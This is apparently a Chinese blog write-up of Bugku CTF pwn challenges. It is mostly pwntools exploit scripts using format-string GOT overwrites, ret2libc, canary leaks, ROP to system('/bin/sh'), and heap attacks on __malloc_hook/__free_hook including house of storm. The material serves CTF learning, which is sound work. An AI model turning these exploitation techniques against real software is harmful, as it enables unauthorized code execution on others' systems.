Bugku_CTF的pwn题解
之前了解这平台,好像还是师傅们打AWD。尤其本人没打过,所以不讨论有机会和师傅们一起玩。链接如下https://ctf.bugku.com/
瑞士军刀
看名字就知道是nc,直接连。
repeater
这题就是简单的fmt+ret2libc,比较坑的是没给你libc。直接泄露栈上的地址,找不到对应的版本,所以就想着泄露puts,但是用到了%s来进行泄露。之后就是简单的修改got表
检查保护
可以修改got表
无限次的格式化字符串漏洞。查看一波offset=6
pl = p32(puts_got) + b"%6$s"
为什么用s呢,因为%p是打印该指针地址,%s是直接打印字符串,只要不遇到字符串终结符他就不会停止。依次还会打印出来,可以看到它打印出来了puts_got表和表里面的内容,以及下面的__libc_start_main,putchar@plt+6
[DEBUG] Received 0x10 bytes:
00000000 18 a0 04 08 80 e0 de f7 a0 cc d9 f7 36 84 04 08 │····│····│····│6···│
00000010
然后就是正常的修改got表
def exp():
puts_got = elf.got["puts"]
printf_got = elf.got["printf"]
ru(" repeater?\n")
pl = p32(puts_got) + b"%6$s"
s(pl)
puts = u32(io.recv(8)[-4:])
lg("puts",puts)
libc = LibcSearcher("puts",puts)
libc_base = puts - libc.dump("puts")
lg("libc_base",libc_base)
system = libc_base + libc.dump("system")
offset = 6
pl = fmtstr_payload(offset,{printf_got:system})
s(pl)
s("/bin/bash\00")
# gdb()
exp()
ia()
overflow
顾名思义,溢出。
有后门,栈溢出。
检查保护
打法很多。shellcode也可以,用backdoor也可以
def exp():
backdoor = 0x400751
pl = cyclic(0x30+8) + p64(backdoor)
s(pl)
exp()
io.interactive()
Easy_int
他的这个保护我看着都比较陌生了。
看看源码,上来就是一个知识点题,让你输入一个数NUM,且NUM和-NUM都要是负数。这就是机组的知识了,int表示范围是-2147483648~2147483647,我输入-2147483648的时候,他在数轴的正半轴没有对应的数,所以还是负数。
查看字符表有system和sh。在找一个pop rdi的gadget,还有一个ret用于栈对齐
最后getshell
def exp():
ru("Input your int:\n")
sl("-2147483648")
pop_rdi = 0x0401343
ret = 0x40101a
sh = 0x403500
system = elf.plt['system']
pl = cyclic(0x20+0x8) + p64(pop_rdi) + p64(sh) + p64(ret) + p64(system)
ru("Congratulations!\n")
s(pl)
exp()
io.interactive()
canary
顾名思义肯定是为了得到canary。可以利用%s将canary打印出来。与上一题一样都给了system和sh
ru("Please leave your name(Within 36 Length):")
pl = b"a"*568
sl(pl)
ru(b"a"*568 + b"\n")
canary = u64(b"\x00" + r(7))
lg('canary',canary)#泄露canary
最后getshell
def exp():
ru("Please leave your name(Within 36 Length):")
pl = b"a"*568
sl(pl)
ru(b"a"*568 + b"\n")
canary = u64(b"\x00" + r(7))
lg('canary',canary)
system = elf.plt["system"]
sh = 0x601068
ret = 0x0400611
pop_rdi = 0x400963
pl = cyclic(0x210-8) + p64(canary) + p64(0) + p64(pop_rdi) + p64(sh) + p64(ret) + p64(system)
ru("Please leave a message(Within 0x200 Length):")
s(pl)
exp()
io.interactive()
overflow2
这题和前面两题一样给了system和sh、栈溢出,直接打。
def exp():
system = elf.plt['system']
sh = 0x402004
pop_rdi = 0x040126b
ret = 0x401016
ru(" your name.\n")
pl = cyclic(0x20+8) + p64(pop_rdi) + p64(sh) + p64(ret) + p64(system)
s(pl)
exp()
io.interactive()
Baby-heap1
这题终于能让我涨点金币了。😀我用的版本是2.23-0ubuntu11.3_amd64,打通了。
检查保护全开
ida打开逐渐分析发现漏洞点应该是堆溢出
直接开打,先布置好堆,我的第一思路还是打__malloc_hook。
申请一个unsortedbin范围的chunk,之后给他delete掉,他的fd和bk指针保留,直接泄露。之后就是把你需要的数据都找到。
add(0x80)#0
add(0x68)#1
add(0x68)#2
add(0x20)#3,防止与top chunk合并
delete(0)
add(0x80)#0
show(0)
leak = uu64()
__malloc_hook = leak - 0x58 - 0x10
fake_chunk = __malloc_hook - 0x23
libc_base = __malloc_hook - libc.sym["__malloc_hook"]
libc.address=libc_base
之后就是因为它可以任意长度堆溢出,直接free掉两个fastbin再修改chunk1的fd指针,使得其指向fake_chunk地址
delete(2)
delete(1)
pl = p64(0)*0x10 + p64(0x90) + p64(0x71) + p64(fake_chunk)
edit(0,len(pl),pl)
最后因为栈帧问题,所以需要借助realloc来进行调整。往realloc里面写入onegadget在malloc里面写入realloc。
最后getshell
printf
我们先把栈打完再去看那两个堆。因为我快吃饭了。怕没时间打完。
检查保护
函数有三个选项,对应三个encode
encode1,可以往这个数据段的src写入一个0x150的数据
encode2,有格式化字符串漏洞,这个buf1是bss段上的。所以这个格式化字符串是非栈上的
encode3,这个就把buf的值复制到src里面
可以注意到每个函数里面都对应一个加密算法,就是简单的移位运算
运行程序可以发现,正常情况一下只进行一次循环就通过exit(0)退出了。用ida查看qword_201700=0x201700,发现其在encode1的src后面offset = 0x140,将其修改为一个很大的值就可以进行多次循环,看保护+fmt大概思路也是修改got表。但是这题我感觉好奇怪,我的想法还是修改printf的got表但是好像就修改到第7次就失败了。后面一直找原因也没找到。而且这个libc版本是个小版本libc6_2.23-0ubuntu11.2_amd64。
这是我自己的思路,但是行不通在这里。我之前的比赛这种非栈上的都是这么打的,您可以做个参考。
#encode2的逆算法
def choice2encode(strarg):
return b''.join([p8(((ord(i)&0b11)<<6)+((ord(i)&0b11111100)>>2)) for i in strarg])
#encode3的逆算法
def choice3encode(strarg):
return b''.join([p8(((ord(i)&0b00111111)<<2)+ ((ord(i)&0b11000000)>>6)) for i in strarg])
def exp():
def attach(pl):
ru("choice:\n")
sl("2")
ru(" encode:\n")
s(pl)
ru("your choice:\n")
sl("1")
ru("keys?\n")
sl(p8(0))
ru("your message to encode:\n")
s('a'*0x150)
pl = choice2encode("%55$p-%51$p-%11$p")
# pause()
attach(pl)
ru("0x")
__libc_start_main = int(r(12),16)-240
ru('-')
codebase = int(r(14),16) - 0xe5b
ru("-")
stack = int(r(14),16) - 0xe0
ret_stack = stack +0x8
libc = LibcSearcher("__libc_start_main",__libc_start_main)
libc_base = __libc_start_main - libc.dump("__libc_start_main")
printf_got = codebase + elf.got['printf']
system = libc_base + libc.dump("system")
pl = choice2encode("%" + str((stack+2)&0xff) + "c%14$hhn")
attach(pl)
pl = choice2encode("%" + str(((printf_got>>16))&0xff) + "c" +"%22$hhn")
attach(pl)
pl = choice2encode("%" + str(stack&0xff) + "c" +"%14$hhn")
attach(pl)
pl = choice2encode("%" + str((printf_got+2)&0xffff) + "c" +"%22$hn")
attach(pl)
pl = choice2encode("%" + str((system>>16)&0xff) + "c" +"%54$hhn")
attach(pl)
pl = choice2encode("%" + str((printf_got)&0xff) + "c" +"%22$hhn")
attach(pl) #这之后就断掉了。
pl = choice2encode("%" + str((system)&0xffff) + "c" +"%54$hn")
attach(pl)
ru("choice:")
sl("2")
ru(" encode:\n")
sl("/bin/sh\x00")
lg("__libc_start_main",__libc_start_main)
lg("codebase",codebase)
lg("stack",stack)
lg("libc_base",libc_base)
lg("printf_got",printf_got)
lg("system",system)
# gdb()
exp()
io.interactive()
下面是能打通的wp,但我还是感觉很奇怪。因为它是修改的strcpy_got的。而且是一个字节一个字节的改。
#coding=utf-8
from pwn import *
import sys
from LibcSearcher import *
context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']
p = remote("114.67.175.224",11441)
elf=ELF('./pwn')
#encode2的逆算法
def choice2encode(strarg):
return b''.join([p8(((ord(i)&0b11)<<6)+((ord(i)&0b11111100)>>2)) for i in strarg])
#encode3的逆算法
def choice3encode(strarg):
return b''.join([p8(((ord(i)&0b00111111)<<2)+ ((ord(i)&0b11000000)>>6)) for i in strarg])
p.sendlineafter('choice:','1')
p.sendafter('keys?',p8(0))
p.sendafter('encode:','a'*0x148)
p.sendlineafter('choice:','2')
payload=choice2encode('%55$p%51$p%14$p')
p.sendafter('encode:',payload)
p.recvuntil('0x')
libc_start_main=int(p.recvuntil('0x',drop=True),16)-240
#libc_base
libc=LibcSearcher("__libc_start_main", libc_start_main)
libc_base=libc_start_main-libc.dump('__libc_start_main') #libc基址
#main_base
main_base=int(p.recvuntil('0x',drop=True),16)-0xe5b
#stack_addr
stack_addr=int(p.recv(12),16)
success('leak->libc_base' +hex(libc_base))
success('leak->mainbase' +hex(main_base))
success('leak->stack_addr' +hex(stack_addr))
strcpy_got=main_base+elf.got['strcpy']#elf的基地址
print('strcpyGOT'+hex(strcpy_got))
libc_system=libc_base+libc.dump('system')
print('system'+hex(libc_system))
#格式化字符串,第一步
for i in range(6):
print('first'+str(i))
x = 5-i
off_lowByte=(stack_addr+32+x)&0xff
p.sendlineafter('choice:','2')
payload=choice2encode('%'+str(off_lowByte)+'c%14$hhn')
p.sendafter('encode:',payload)
value_lowByte = (strcpy_got>>(x*8))&0xff
p.sendlineafter('choice:','2')
payload=choice2encode('%'+str(value_lowByte)+'c%50$hhn')
p.sendafter('encode:',payload)
#格式化字符串,第二步
for i in range(6):
print('second'+str(i))
off_lowByte=(strcpy_got+i)&0xff
p.sendlineafter('choice:','2')
payload=choice2encode('%'+str(off_lowByte)+'c%50$hhn')
p.sendafter('encode:',payload)
value_lowByte = (libc_system>>(i*8))&0xff
p.sendlineafter('choice:','2')
payload=choice2encode('%'+str(value_lowByte)+'c%54$hhn')
p.sendafter('encode:',payload)
#执行system('/bin/sh')
p.sendlineafter('choice:','3')
p.sendafter('encode:',choice3encode('/bin/sh\x00'))
p.interactive()
至于他为什么一个字节一个字节该是因为这两个的地址几乎不一样。所以我感觉很鸡肋。
Baby-heap2
这题就有意思了,题目给的描述是2.31结果下面都说是2.27。然后我用2.27得到的libc_base才是正确的,但是远程也是打不通的。本地都通了。
这题和之前哪一题逻辑一样,只不过不是堆溢出了,改成了uaf。把tcache填满,在申请一个0x80的chunk,放到unsortedbin里面就可以泄露出来信息(uaf)。之后就是正常,当时远程打不通,我以为是我的方法问题用了两种方法一个是该free_hook还有一个是用realloc调节栈帧之后oog。本地都通了。以下是我用的libc,也是远程环境的。
#用realloc调节栈帧之后oog
def exp():
def choice(idx):
ru("Command:")
sl(str(idx).encode())
def add(size):
choice(1)
ru("size:")
sl(str(size).encode())
def edit(index,content):
choice(2)
ru(":")
sl(str(index).encode())
ru(":")
s(content)
def show(index):
choice(3)
ru(":")
sl(str(index))
def delete(index):
choice(4)
ru(":")
sl(str(index).encode())
#heap - 0x4080
add(0x20)#0
add(0x80)#1
add(0x20)#2
for i in range(7):#3-9
add(0x80)
for i in range(7):
delete(i+3)
delete(1)
show(1)
ru("Content:")
leak = uu64()
__malloc_hook = leak - 0x70
libc_base = __malloc_hook - libc.sym["__malloc_hook"]
fake_chunk = __malloc_hook - 0x23
add(0x70)#10
add(0x68)#11
add(0x68)#12
delete(11)
edit(11,p64(fake_chunk))
add(0x68)#13
add(0x68)#14
# add(0x68)#15
libc.address=libc_base
oog = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]
pl = b"a"*0x1b + p64(oog[3]+libc_base) + p64(libc.sym["realloc"]+4)
edit(14,pl)
add(0x20)
lg("leak",leak)
lg("libc_base",libc_base)
lg("fake_chunk",fake_chunk)
# gdb()
exp()
io.interactive()
#改__free_hook为system
def exp():
def choice(idx):
ru("Command:")
sl(str(idx).encode())
def add(size):
choice(1)
ru("size:")
sl(str(size).encode())
def edit(index,content):
choice(2)
ru(":")
sl(str(index).encode())
ru(":")
s(content)
def show(index):
choice(3)
ru(":")
sl(str(index))
def delete(index):
choice(4)
ru(":")
sl(str(index).encode())
#heap - 0x4080
add(0x20)#0
add(0x80)#1
add(0x20)#2
for i in range(7):#3-9
add(0x80)
for i in range(7):
delete(i+3)
delete(1)
show(1)
ru("Content:")
leak = uu64()
__malloc_hook = leak - 0x70
libc_base = __malloc_hook - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
add(0x70)#10
add(0x68)#11
add(0x68)#12
delete(11)
edit(11,p64(free_hook))
add(0x68)#13
add(0x68)#14
libc.address=libc_base
oog = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]
pl = p64(libc.sym["system"])
edit(14,pl)
edit(13,'/bin/bash\x00')
delete(13)
lg("leak",leak)
lg("libc_base",libc_base)
lg("free_hook",free_hook)
exp()
io.interactive()
simple_storm
其实我想起来打这个靶场,还是在学习house of storm的时候。看到了这个地方有这个题。所以就给它打了。
这题顾名思义,肯定用house of storm来打。
- 适合版本是libc2.23-2.29
- 需要能修改unsortedbin的bk,largebin的bk,bk_nextsize
原理网上都是,其实记不记得问题也不大。就只需要知道你需要构造一个unsortedbin和largebin,修改unsortedbin的bk=target_addr(目标地址), 修改largebin的bk=target_addr + 0x8, bk_nextsize = target_addr -0x20+3(0x1d),之后在申请一个0x50范围的chunk就可以得到目标地址。
本题直接打free_hook,就可以了。这个成功概率大概50%所以多试几次就好了。
成功修改__free_hook为system
最后getshell
def exp():
def choice(idx):
ru("Your choice?\n")
sl(str(idx).encode())
def add(size):
choice(1)
ru("\n")
s(str(size).encode())
def show(index):
choice(4)
ru("\n")
s(str(index).encode())
def edit(index,content):
choice(3)
ru("\n")
sl(str(index).encode())
ru("\n")
s(content)
def delete(index):
choice(2)
ru("\n")
s(str(index).encode())
add(0x20)#0
add(0x400)#1
add(0x20)#2
add(0x410)#3
add(0x20)#4
add(0x20)#5
add(0x20)#6
delete(1)
delete(3)
delete(5)
show(1)
main_arenas = uu64() - 0x58
show(3)
heap = u68()
add(0x20)#5 = 7
add(0x410)#3 = 8
delete(3)
malloc_hook = main_arenas - 0x10
libc.address = malloc_hook - libc.sym["__malloc_hook"]
fake_chunk = libc.sym["__free_hook"] - 0x10
pl = p64(0) + p64(fake_chunk)
edit(3,pl) #修改unsortedbin的bk=addr
#pl = p64(0) + p64(fake_chunk+0x8) + p64(0) + p64(fake_chunk - 0x1d)
pl = p64(0) + p64(fake_chunk+0x8) + p64(0) + p64(fake_chunk - 0x20+3)
edit(1,pl) #修改largebin的bk=addr+0x8,bk_nextsize=addr-0x20+3
edit(0,'/bin/sh\x00') #建议先edit之后在申请0x50范围的chunk,这个是有概率成功的
add(0x48)
pl = p64(libc.sym["system"])
edit(9,pl)
delete(0)
lg("fake_chunk",fake_chunk)
lg("main_arenas",main_arenas)
lg("heap",heap)
# gdb()
exp()
io.interactive()
您能看到这里,我真的很开心。就如我的摘录所说,打CTF也是一个兴趣,强制消费才可以阅读wp这多少有点寒了新手的心,我本人学pwn大概快小半年了,个人感觉万事开头难,多经过几次折磨坐牢就会有所提升。我写这篇文章的目的就是为了让新生有个可以参考的地方,当然如果您是个富哥,也可以给我的赞助一点。因为本人想玩黑猴,哈哈哈哈哈哈。
最后引用孙悟空的一句话送给正在阅读这篇文章的您:
人生贵在坚持,半途而废者多怨天尤人,不懈努力者总勇攀高峰。